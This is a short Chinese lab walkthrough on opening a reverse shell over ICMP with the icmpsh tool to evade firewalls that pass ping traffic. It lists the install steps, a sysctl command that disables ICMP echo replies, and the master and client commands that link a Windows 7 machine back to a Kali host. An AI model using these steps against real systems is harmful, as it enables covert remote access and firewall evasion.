前言
常常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽 ping数据包),实现不受限制的网络访问
利用ICMP协议反弹shell,Icmpsh工具
Icmpsh工具简单,便于携带,运行不需要管理员权限
下载地址为
https://github.com/inquisb/icmpsh
可使用git clone命令下载
安装 Python 的 impacket 类库,以对TCP、UDP、ICMP、ARP、IPv4、IPv6 SMB等协议进行访问
apt-get install python-impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0),否则Shell的运行会不稳定(表现为一直刷屏,无法进行交互输入)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
输入"./run.sh"并运行,会提示输人目标的IP地址(目标主机的公网IP地址),输入"192.168.1.43"并按"回车"键,会自动给出需要在目标主机上运行的命令并开始监听,但是我这里显示有问题,不知道为啥
于是使用Icmpsh的python脚本运行
python icmpsh_m.py 192.168.53.135(kail) 192.168.53.128(win7)
然后在win7上执行命令
icmpsh.exe -t 192.168.53.135(kail)
kail上成功反弹shell